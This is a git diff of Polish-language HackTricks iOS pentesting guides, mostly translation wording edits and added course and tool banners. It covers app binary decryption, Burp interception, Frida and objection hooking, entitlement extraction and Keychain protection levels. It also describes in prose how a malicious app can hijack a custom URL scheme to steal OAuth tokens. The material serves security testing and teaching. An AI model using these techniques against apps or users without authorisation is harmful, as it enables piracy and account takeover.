**Link do Dystrybucji Over-The-Air (OTA):** Aplikacje dystrybuowane do testów za pomocą OTA można pobrać za pomocą narzędzia do pobierania zasobów ITMS, które jest instalowane za pomocą npm i używane do zapisywania pliku IPA lokalnie.
|
||||
**Link do Dystrybucji Over-The-Air (OTA):** Aplikacje dystrybuowane do testów za pośrednictwem OTA można pobrać za pomocą narzędzia do pobierania zasobów usług ITMS, które jest instalowane za pomocą npm i używane do zapisywania pliku IPA lokalnie.
|
||||
```bash
|
||||
npm install -g itms-services
|
||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||
@ -103,7 +103,7 @@ Zastąp zaszyfrowaną sekcję w oryginalnym pliku binarnym aplikacji zdekodowany
|
||||
```bash
|
||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||
```
|
||||
**Finalizacja deszyfrowania:** Zmodyfikuj metadane binarnego pliku, aby wskazać na brak szyfrowania, używając narzędzi takich jak **MachOView**, ustawiając `cryptid` na 0.
|
||||
**Finalizacja deszyfrowania:** Zmodyfikuj metadane binariów, aby wskazać brak szyfrowania, używając narzędzi takich jak **MachOView**, ustawiając `cryptid` na 0.
|
||||
|
||||
### **Deszyfrowanie (Automatycznie)**
|
||||
|
||||
@ -146,7 +146,7 @@ bagbak --raw Chrome
|
||||
|
||||
#### **Narzędzia do Sideloadingu**
|
||||
|
||||
- **Cydia Impactor**: Narzędzie do podpisywania i instalowania plików IPA na iOS oraz plików APK na Androidzie. Przewodniki i rozwiązywanie problemów można znaleźć na [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
|
||||
- **Cydia Impactor**: Narzędzie do podpisywania i instalowania plików IPA na iOS oraz plików APK na Androida. Przewodniki i rozwiązywanie problemów można znaleźć na [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
|
||||
|
||||
- **libimobiledevice**: Biblioteka dla systemów Linux i macOS do komunikacji z urządzeniami iOS. Komendy instalacyjne i przykłady użycia dla ideviceinstaller są dostarczane do instalacji aplikacji przez USB.
|
||||
|
||||
@ -160,7 +160,7 @@ bagbak --raw Chrome
|
||||
|
||||
Aby zainstalować aplikacje specyficzne dla iPada na urządzeniach iPhone lub iPod touch, wartość **UIDeviceFamily** w pliku **Info.plist** musi zostać zmieniona na **1**. Ta modyfikacja wymaga jednak ponownego podpisania pliku IPA z powodu kontroli walidacji podpisu.
|
||||
|
||||
**Uwaga**: Ta metoda może nie zadziałać, jeśli aplikacja wymaga funkcji zarezerwowanych dla nowszych modeli iPadów podczas używania starszego iPhone'a lub iPod touch.
|
||||
**Uwaga**: Ta metoda może nie zadziałać, jeśli aplikacja wymaga funkcji zarezerwowanych dla nowszych modeli iPada, podczas gdy używasz starszego iPhone'a lub iPoda touch.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -2,27 +2,35 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
|
||||
|
||||
## Instalacja certyfikatu Burp na urządzeniach iOS
|
||||
|
||||
Aby przeprowadzić analizę bezpiecznego ruchu internetowego i SSL pinning na urządzeniach iOS, Burp Suite można wykorzystać zarówno za pomocą **Burp Mobile Assistant**, jak i poprzez ręczną konfigurację. Poniżej znajduje się podsumowany przewodnik dotyczący obu metod:
|
||||
Aby przeprowadzić analizę bezpiecznego ruchu internetowego i SSL pinning na urządzeniach iOS, Burp Suite można wykorzystać zarówno za pomocą **Burp Mobile Assistant**, jak i poprzez ręczną konfigurację. Poniżej znajduje się podsumowany przewodnik po obu metodach:
|
||||
|
||||
### Automatyczna instalacja z Burp Mobile Assistant
|
||||
|
||||
**Burp Mobile Assistant** upraszcza proces instalacji certyfikatu Burp, konfiguracji proxy i SSL Pinning. Szczegółowe wskazówki można znaleźć w [oficjalnej dokumentacji PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing).
|
||||
|
||||
### Kroki ręcznej instalacji
|
||||
### Kroki instalacji ręcznej
|
||||
|
||||
1. **Konfiguracja proxy:** Rozpocznij od ustawienia Burp jako proxy w ustawieniach Wi-Fi iPhone'a.
|
||||
2. **Pobieranie certyfikatu:** Przejdź do `http://burp` w przeglądarce urządzenia, aby pobrać certyfikat.
|
||||
3. **Instalacja certyfikatu:** Zainstaluj pobrany profil przez **Ustawienia** > **Ogólne** > **VPN i zarządzanie urządzeniem**, a następnie włącz zaufanie dla CA PortSwigger w **Ustawieniach zaufania certyfikatu**.
|
||||
|
||||
### Konfiguracja proxy do przechwytywania
|
||||
### Konfiguracja proxy przechwytującego
|
||||
|
||||
Konfiguracja umożliwia analizę ruchu między urządzeniem iOS a internetem za pośrednictwem Burp, wymagając sieci Wi-Fi, która obsługuje ruch klient-klient. Jeśli nie jest dostępna, połączenie USB przez usbmuxd może służyć jako alternatywa. Samouczki PortSwigger zawierają szczegółowe instrukcje dotyczące [konfiguracji urządzenia](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) oraz [instalacji certyfikatu](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
|
||||
Konfiguracja umożliwia analizę ruchu między urządzeniem iOS a internetem przez Burp, wymagając sieci Wi-Fi, która obsługuje ruch klient-klient. Jeśli jest to niemożliwe, połączenie USB przez usbmuxd może być alternatywą. Samouczki PortSwigger dostarczają szczegółowych instrukcji dotyczących [konfiguracji urządzenia](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) oraz [instalacji certyfikatu](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
|
||||
|
||||
### Zaawansowana konfiguracja dla urządzeń z jailbreakiem
|
||||
|
||||
Dla użytkowników z urządzeniami z jailbreakiem, SSH przez USB (za pomocą **iproxy**) oferuje metodę do kierowania ruchu bezpośrednio przez Burp:
|
||||
Dla użytkowników z urządzeniami z jailbreakiem, SSH przez USB (za pomocą **iproxy**) oferuje metodę kierowania ruchu bezpośrednio przez Burp:
|
||||
|
||||
1. **Nawiązanie połączenia SSH:** Użyj iproxy, aby przekierować SSH na localhost, umożliwiając połączenie z urządzenia iOS do komputera uruchamiającego Burp.
|
||||
|
||||
@ -44,14 +52,14 @@ Monitorowanie ruchu urządzenia, który nie jest HTTP, można efektywnie przepro
|
||||
|
||||
Procedura obejmuje kilka kluczowych kroków:
|
||||
|
||||
1. Nawiąż połączenie między urządzeniem iOS a hostem macOS za pomocą USB.
|
||||
1. Nawiąż połączenie między urządzeniem iOS a hostem macOS przez USB.
|
||||
2. Ustal **UDID** urządzenia iOS, co jest niezbędnym krokiem do monitorowania ruchu. Można to zrobić, wykonując polecenie w Terminalu macOS:
|
||||
```bash
|
||||
$ rvictl -s <UDID>
|
||||
Starting device <UDID> [SUCCEEDED] with interface rvi0
|
||||
```
|
||||
3. Po zidentyfikowaniu UDID, **Wireshark** należy otworzyć i wybrać interfejs "rvi0" do przechwytywania danych.
|
||||
4. W celu monitorowania celowanego, takiego jak przechwytywanie ruchu HTTP związanego z określonym adresem IP, można zastosować filtry przechwytywania Wireshark:
|
||||
4. W celu monitorowania docelowego, takiego jak przechwytywanie ruchu HTTP związanego z określonym adresem IP, można zastosować filtry przechwytywania Wireshark:
|
||||
|
||||
## Instalacja certyfikatu Burp w symulatorze
|
||||
|
||||
@ -84,5 +92,11 @@ Kroki do skonfigurowania Burp jako proxy:
|
||||
|
||||
- Kliknij na _**Ok**_ a następnie na _**Apply**_
|
||||
|
||||
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społeczności na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -8,9 +8,9 @@ Podsumowanie strony [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-
|
||||
|
||||
Podczas pracy z plikiem IPA aplikacji lub zainstalowaną aplikacją na urządzeniu z jailbreakiem, bezpośrednie znalezienie plików `.entitlements` lub pliku `embedded.mobileprovision` może być niemożliwe. Niemniej jednak, listy właściwości uprawnień można nadal wyodrębnić z binarnego pliku aplikacji, stosując procedury opisane w rozdziale "Podstawowe testowanie bezpieczeństwa iOS", szczególnie w sekcji "Pozyskiwanie binarnego pliku aplikacji".
|
||||
|
||||
Nawet w przypadku zaszyfrowanych plików binarnych, można zastosować pewne kroki, aby wyodrębnić te pliki. Jeśli te kroki zawiodą, mogą być wymagane narzędzia takie jak Clutch (jeśli jest zgodne z wersją iOS), frida-ios-dump lub podobne narzędzia do odszyfrowania i wyodrębnienia aplikacji.
|
||||
Nawet w przypadku zaszyfrowanych binariów, można zastosować pewne kroki, aby wyodrębnić te pliki. Jeśli te kroki zawiodą, mogą być wymagane narzędzia takie jak Clutch (jeśli jest zgodne z wersją iOS), frida-ios-dump lub podobne narzędzia do odszyfrowania i wyodrębnienia aplikacji.
|
||||
|
||||
#### **Ekstrakcja pliku plist uprawnień z binarnego pliku aplikacji**
|
||||
#### **Ekstrakcja pliku Plist uprawnień z binarnego pliku aplikacji**
|
||||
|
||||
Gdy binarny plik aplikacji jest dostępny na komputerze, **binwalk** można wykorzystać do wyodrębnienia wszystkich plików XML. Poniższe polecenie pokazuje, jak to zrobić:
|
||||
```bash
|
||||
@ -28,7 +28,7 @@ $ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
|
||||
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
|
||||
```
|
||||
Obie metody, binwalk i radare2, umożliwiają ekstrakcję plików `plist`, przy czym inspekcja pierwszej (0x0015d2a4) ujawnia udane odzyskanie [oryginalnego pliku uprawnień z Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
Obie metody, binwalk i radare2, umożliwiają ekstrakcję plików `plist`, przy czym inspekcja pierwszej (0x0015d2a4) ujawnia udane odzyskanie [oryginalnego pliku uprawnień z Telegrama](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
|
||||
Dla binariów aplikacji uzyskiwanych na urządzeniach z jailbreakiem (np. przez SSH), polecenie **grep** z flagą `-a, --text` może być użyte do traktowania wszystkich plików jako tekst ASCII:
|
||||
```bash
|
||||
|
@ -2,10 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pogłęb swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
## Instalacja Frida
|
||||
|
||||
**Kroki do zainstalowania Frida na urządzeniu z jailbreakiem:**
|
||||
**Kroki do zainstalowania Frida na urządzeniu z Jailbreakiem:**
|
||||
|
||||
1. Otwórz aplikację Cydia/Sileo.
|
||||
2. Przejdź do Zarządzaj -> Źródła -> Edytuj -> Dodaj.
|
||||
@ -15,16 +20,16 @@
|
||||
|
||||
Jeśli używasz **Corellium**, musisz pobrać wersję Frida z [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) i rozpakować oraz skopiować do lokalizacji dylib, o którą prosi Frida, np.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
|
||||
|
||||
Po zainstalowaniu możesz użyć na swoim PC polecenia **`frida-ls-devices`** i sprawdzić, czy urządzenie się pojawia (twój PC musi mieć do niego dostęp).\
|
||||
Po zainstalowaniu możesz użyć na swoim PC komendy **`frida-ls-devices`** i sprawdzić, czy urządzenie się pojawia (twój PC musi mieć do niego dostęp).\
|
||||
Wykonaj również **`frida-ps -Uia`**, aby sprawdzić działające procesy telefonu.
|
||||
|
||||
## Frida bez urządzenia z jailbreakiem i bez patchowania aplikacji
|
||||
## Frida bez urządzenia z Jailbreakiem i bez patchowania aplikacji
|
||||
|
||||
Sprawdź ten wpis na blogu o tym, jak używać Frida na urządzeniach bez jailbreaka bez patchowania aplikacji: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
|
||||
## Instalacja klienta Frida
|
||||
## Instalacja Klienta Frida
|
||||
|
||||
Zainstaluj **frida tools**:
|
||||
Zainstaluj **narzędzia frida**:
|
||||
```bash
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
@ -139,7 +144,7 @@ console.log("loaded")
|
||||
|
||||
Masz przykład implementacji Frida Stalker w [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
|
||||
|
||||
To kolejny przykład, aby dołączyć Frida Stalker za każdym razem, gdy funkcja jest wywoływana:
|
||||
To jest inny przykład, aby dołączyć Frida Stalker za każdym razem, gdy funkcja jest wywoływana:
|
||||
```javascript
|
||||
console.log("loading")
|
||||
const wg_log_addr = Module.findExportByName("<Program>", "<function_name>")
|
||||
@ -338,5 +343,10 @@ Możesz sprawdzić awarie w:
|
||||
|
||||
- [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pogłęb swoją wiedzę w **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Android dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -16,7 +16,7 @@ Kluczowe aspekty bezpieczeństwa obejmują:
|
||||
|
||||
- Rozszerzenia i ich aplikacje zawierające komunikują się za pomocą komunikacji międzyprocesowej, a nie bezpośrednio.
|
||||
- **Widget Dziś** jest wyjątkowy, ponieważ może zażądać otwarcia swojej aplikacji za pomocą określonej metody.
|
||||
- Dostęp do udostępnionych danych jest dozwolony w ramach prywatnego kontenera, ale bezpośredni dostęp jest ograniczony.
|
||||
- Dostęp do udostępnionych danych jest dozwolony w prywatnym kontenerze, ale bezpośredni dostęp jest ograniczony.
|
||||
- Niektóre API, w tym HealthKit, są niedostępne dla rozszerzeń aplikacji, które również nie mogą uruchamiać długoterminowych zadań, uzyskiwać dostępu do kamery ani mikrofonu, z wyjątkiem rozszerzeń iMessage.
|
||||
|
||||
### Analiza statyczna
|
||||
@ -41,7 +41,7 @@ Aplikacje mogą ograniczać niektóre typy rozszerzeń, szczególnie niestandard
|
||||
|
||||
Analiza dynamiczna obejmuje:
|
||||
|
||||
- **Inspekcję elementów udostępnionych**: Podłącz się do `NSExtensionContext - inputItems`, aby zobaczyć typy i źródła udostępnianych danych.
|
||||
- **Inspekcję elementów udostępnionych**: Podłącz się do `NSExtensionContext - inputItems`, aby zobaczyć typy i źródła udostępnionych danych.
|
||||
- **Identyfikację rozszerzeń**: Odkryj, które rozszerzenia przetwarzają twoje dane, obserwując wewnętrzne mechanizmy, takie jak `NSXPCConnection`.
|
||||
|
||||
Narzędzia takie jak `frida-trace` mogą pomóc w zrozumieniu podstawowych procesów, szczególnie dla tych, którzy są zainteresowani szczegółami technicznymi komunikacji międzyprocesowej.
|
||||
|
@ -32,7 +32,7 @@ python filedp.py /path/to/check
|
||||
```
|
||||
## **Keychain**
|
||||
|
||||
W iOS, **Keychain** służy jako bezpieczny **szyfrowany kontener** do przechowywania **wrażliwych informacji**, dostępny tylko dla aplikacji, która go przechowuje lub tych, które są wyraźnie autoryzowane. Szyfrowanie to jest wzmacniane przez unikalne **hasło generowane przez iOS**, które samo w sobie jest szyfrowane za pomocą **AES**. Proces szyfrowania wykorzystuje funkcję **PBKDF2**, łącząc kod dostępu użytkownika z solą pochodzącą z **UID** urządzenia, komponentem, do którego dostęp ma tylko **układ scalony secure enclave**. W związku z tym, nawet jeśli kod dostępu użytkownika jest znany, zawartość Keychain pozostaje niedostępna na jakimkolwiek urządzeniu innym niż to, na którym pierwotnie została zaszyfrowana.
|
||||
W iOS, **Keychain** służy jako bezpieczny **szyfrowany kontener** do przechowywania **wrażliwych informacji**, dostępny tylko dla aplikacji, która go przechowała lub tych, które zostały wyraźnie autoryzowane. Szyfrowanie to jest wzmacniane przez unikalne **hasło generowane przez iOS**, które samo w sobie jest szyfrowane za pomocą **AES**. Proces szyfrowania wykorzystuje funkcję **PBKDF2**, łącząc kod dostępu użytkownika z solą pochodzącą z **UID** urządzenia, komponentem, do którego dostęp ma tylko **secure enclave chipset**. W związku z tym, nawet jeśli kod dostępu użytkownika jest znany, zawartość Keychain pozostaje niedostępna na jakimkolwiek urządzeniu innym niż to, na którym pierwotnie została zaszyfrowana.
|
||||
|
||||
**Zarządzanie i dostęp** do danych Keychain są obsługiwane przez demona **`securityd`**, w oparciu o konkretne uprawnienia aplikacji, takie jak `Keychain-access-groups` i `application-identifier`.
|
||||
|
||||
@ -52,12 +52,12 @@ Brute-forcing hasła Keychain polega na atakowaniu zaszyfrowanego klucza bezpoś
|
||||
Poziomy ochrony danych dla elementów Keychain są ustawiane za pomocą atrybutu `kSecAttrAccessible` podczas tworzenia lub aktualizacji elementu. Poziomy te, [zgodnie z określeniami Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), określają, kiedy i jak elementy Keychain są dostępne:
|
||||
|
||||
- **`kSecAttrAccessibleAlways`**: Dostępne w każdej chwili, niezależnie od statusu blokady urządzenia.
|
||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Zawsze dostępne, ale nie włączone w kopie zapasowe.
|
||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Zawsze dostępne, ale nie włączone do kopii zapasowych.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`**: Dostępne po pierwszym odblokowaniu po restarcie.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: To samo co powyżej, ale nieprzenoszalne na nowe urządzenia.
|
||||
- **`kSecAttrAccessibleWhenUnlocked`**: Dostępne tylko wtedy, gdy urządzenie jest odblokowane.
|
||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Dostępne po odblokowaniu, nie włączone w kopie zapasowe.
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Wymaga kodu dostępu do urządzenia, nie włączone w kopie zapasowe.
|
||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Dostępne po odblokowaniu, nie włączone do kopii zapasowych.
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Wymaga kodu dostępu do urządzenia, nie włączone do kopii zapasowych.
|
||||
|
||||
**`AccessControlFlags`** dodatkowo precyzują metody dostępu, umożliwiając uwierzytelnianie biometryczne lub użycie kodu dostępu.
|
||||
|
||||
@ -84,9 +84,9 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
|
||||
W dziedzinie rozwoju aplikacji, **sandboxing** odgrywa kluczową rolę w zwiększaniu bezpieczeństwa. Proces ten zapewnia, że każda aplikacja działa w swoim unikalnym katalogu domowym, co zapobiega jej dostępowi do plików systemowych lub danych należących do innych aplikacji. Egzekwowanie tych ograniczeń odbywa się poprzez polityki sandbox, które są częścią **Trusted BSD (MAC) Mandatory Access Control Framework**.
|
||||
|
||||
Programiści mają możliwość skonfigurowania określonych **możliwości lub uprawnień** dla swoich aplikacji, takich jak **Ochrona danych** lub **Udostępnianie Keychain**. Te uprawnienia są stosowane natychmiast po zainstalowaniu aplikacji. Niemniej jednak, aby uzyskać dostęp do niektórych chronionych zasobów, aplikacja musi uzyskać wyraźną zgodę od użytkownika w momencie pierwszej próby. Osiąga się to poprzez użycie _ciągów celów_ lub _ciągów opisów użycia_, które są prezentowane użytkownikom w powiadomieniu o żądaniu uprawnień.
|
||||
Programiści mają możliwość skonfigurowania określonych **możliwości lub uprawnień** dla swoich aplikacji, takich jak **Ochrona danych** lub **Udostępnianie Keychain**. Te uprawnienia są stosowane natychmiast po zainstalowaniu aplikacji. Niemniej jednak, aby uzyskać dostęp do niektórych chronionych zasobów, aplikacja musi uzyskać wyraźną zgodę od użytkownika w momencie pierwszej próby. Osiąga się to poprzez użycie _ciągów celów_ lub _ciągów opisu użycia_, które są prezentowane użytkownikom w powiadomieniu o żądaniu uprawnień.
|
||||
|
||||
Dla tych, którzy mają dostęp do kodu źródłowego, weryfikacja uprawnień zawartych w pliku `Info.plist` może być przeprowadzona poprzez:
|
||||
Dla tych, którzy mają dostęp do kodu źródłowego, weryfikacja uprawnień zawartych w pliku `Info.plist` może być dokonana poprzez:
|
||||
|
||||
1. Otworzenie projektu w Xcode.
|
||||
2. Zlokalizowanie i otwarcie pliku `Info.plist`.
|
||||
@ -98,7 +98,7 @@ W przypadku pliku IPA, można postępować według następujących kroków:
|
||||
2. Zlokalizowanie pliku `Info.plist` w `Payload/<appname>.app/`.
|
||||
3. Konwersja pliku do formatu XML, jeśli to konieczne, dla łatwiejszej inspekcji.
|
||||
|
||||
Na przykład, ciągi celów w pliku `Info.plist` mogą wyglądać następująco:
|
||||
Na przykład, ciągi celów w pliku `Info.plist` mogą wyglądać tak:
|
||||
```xml
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
@ -118,7 +118,7 @@ Ten przykład wskazuje, że aplikacja jest zgodna z zestawem instrukcji armv7. P
|
||||
|
||||
## Uprawnienia
|
||||
|
||||
**Uprawnienia** są kolejnym kluczowym aspektem rozwoju aplikacji iOS, służąc jako pary klucz-wartość, które przyznają aplikacjom pozwolenie na wykonywanie określonych operacji poza kontrolami czasu wykonywania. Na przykład, włączenie **Ochrony Danych** w aplikacji polega na dodaniu konkretnego uprawnienia w projekcie Xcode, co jest następnie odzwierciedlane w pliku uprawnień aplikacji lub w osadzonym pliku mobilnej provision dla IPA.
|
||||
**Uprawnienia** są kolejnym kluczowym aspektem rozwoju aplikacji iOS, służąc jako pary klucz-wartość, które przyznają aplikacjom pozwolenie na wykonywanie określonych operacji poza kontrolami czasu wykonywania. Na przykład, włączenie **Ochrony Danych** w aplikacji polega na dodaniu konkretnego uprawnienia w projekcie Xcode, co jest następnie odzwierciedlane w pliku uprawnień aplikacji lub w osadzonym pliku mobilnym dla IPA.
|
||||
|
||||
# Odniesienia
|
||||
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Niestandardowe schematy URL umożliwiają aplikacjom komunikację za pomocą niestandardowego protokołu, jak szczegółowo opisano w [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Te schematy muszą być zadeklarowane przez aplikację, która następnie obsługuje przychodzące URL-e zgodnie z tymi schematami. Ważne jest, aby **walidować wszystkie parametry URL** i **odrzucać wszelkie źle sformułowane URL-e**, aby zapobiec atakom przez ten wektor.
|
||||
Custom URL schemes umożliwiają aplikacjom komunikację za pomocą niestandardowego protokołu, jak szczegółowo opisano w [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Te schemy muszą być zadeklarowane przez aplikację, która następnie obsługuje przychodzące URL-e zgodnie z tymi schematami. Ważne jest, aby **walidować wszystkie parametry URL** i **odrzucać wszelkie źle sformułowane URL-e**, aby zapobiec atakom przez ten wektor.
|
||||
|
||||
Podano przykład, w którym URI `myapp://hostname?data=123876123` wywołuje określoną akcję aplikacji. Zauważona podatność występowała w aplikacji Skype Mobile, która pozwalała na nieautoryzowane akcje połączeń za pomocą protokołu `skype://`. Zarejestrowane schematy można znaleźć w `Info.plist` aplikacji w sekcji `CFBundleURLTypes`. Złośliwe aplikacje mogą to wykorzystać, ponownie rejestrując URI, aby przechwytywać wrażliwe informacje.
|
||||
Podano przykład, w którym URI `myapp://hostname?data=123876123` wywołuje określoną akcję aplikacji. Zauważona podatność występowała w aplikacji Skype Mobile, która pozwalała na nieautoryzowane akcje połączeń za pomocą protokołu `skype://`. Zarejestrowane schemy można znaleźć w `Info.plist` aplikacji w sekcji `CFBundleURLTypes`. Złośliwe aplikacje mogą to wykorzystać, ponownie rejestrując URI, aby przechwytywać wrażliwe informacje.
|
||||
|
||||
### Rejestracja schematów zapytań aplikacji
|
||||
|
||||
Od iOS 9.0, aby sprawdzić, czy aplikacja jest dostępna, `canOpenURL:` wymaga zadeklarowania schematów URL w `Info.plist` w sekcji `LSApplicationQueriesSchemes`. Ogranicza to schematy, które aplikacja może zapytać do 50, zwiększając prywatność poprzez zapobieganie enumeracji aplikacji.
|
||||
Od iOS 9.0, aby sprawdzić, czy aplikacja jest dostępna, `canOpenURL:` wymaga zadeklarowania schematów URL w `Info.plist` w sekcji `LSApplicationQueriesSchemes`. Ogranicza to schemy, które aplikacja może zapytać, do 50, zwiększając prywatność poprzez zapobieganie enumeracji aplikacji.
|
||||
```xml
|
||||
<key>LSApplicationQueriesSchemes</key>
|
||||
<array>
|
||||
@ -66,8 +66,8 @@ Opened URL: iGoat://?contactNumber=0&message=0
|
||||
|
||||
Zgodnie z [**tym postem**](https://evanconnelly.github.io/post/ios-oauth/), złośliwe aplikacje mogą **rejestrować niestandardowe schematy innych aplikacji,** a następnie złośliwa aplikacja może otworzyć przeglądarkę, która ma wszystkie ciasteczka aplikacji Safari za pomocą [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters). 
|
||||
|
||||
Za pomocą przeglądarki złośliwa aplikacja może załadować stronę internetową kontrolowaną przez atakującego, a TCC poprosi użytkownika mobilnego o pozwolenie na otwarcie tej aplikacji. Następnie złośliwa strona internetowa może przekierować na stronę ofiary, na przykład w procesie OAuth z parametrem `prompt=none`. Jeśli użytkownik był już zalogowany w procesie OAuth, proces OAuth wyśle sekret z powrotem do aplikacji ofiary, używając niestandardowego schematu aplikacji ofiary.\
|
||||
Jednakże, ponieważ złośliwa aplikacja również go zarejestrowała i ponieważ używana przeglądarka znajduje się wewnątrz złośliwej aplikacji, niestandardowy schemat będzie w tym przypadku obsługiwany przez złośliwą aplikację, która będzie mogła ukraść token OAuth.
|
||||
Za pomocą przeglądarki złośliwa aplikacja może załadować stronę internetową kontrolowaną przez atakującego, a TCC poprosi użytkownika mobilnego o pozwolenie na otwarcie tej aplikacji. Następnie złośliwa strona internetowa może przekierować na stronę ofiary, na przykład na przepływ OAuth z parametrem `prompt=none`. Jeśli użytkownik był już zalogowany w przepływie OAuth, przepływ OAuth wyśle sekret z powrotem do aplikacji ofiary, używając niestandardowego schematu aplikacji ofiary.\
|
||||
Jednakże, ponieważ złośliwa aplikacja również go zarejestrowała i ponieważ używana przeglądarka znajduje się w złośliwej aplikacji, niestandardowy schemat będzie w tym przypadku obsługiwany przez złośliwą aplikację, która będzie mogła ukraść token OAuth.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
|
@ -127,7 +127,7 @@ AAAttestationSigner
|
||||
[...]
|
||||
```
|
||||
|
||||
- `ios hooking search classes <search_term>`: Wyszukaj klasę, która zawiera ciąg. Możesz **wyszukiwać unikalny termin związany z głównym pakietem aplikacji**, aby znaleźć główne klasy aplikacji, jak w przykładzie:
|
||||
- `ios hooking search classes <search_term>`: Wyszukaj klasę, która zawiera ciąg. Możesz **wyszukiwać unikalny termin związany z główną nazwą pakietu aplikacji**, aby znaleźć główne klasy aplikacji, jak w przykładzie:
|
||||
|
||||
```bash
|
||||
ios hooking search classes iGoat
|
||||
|
@ -4,11 +4,11 @@ Kod i więcej informacji w [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platfo
|
||||
|
||||
## Serializacja obiektów w rozwoju iOS
|
||||
|
||||
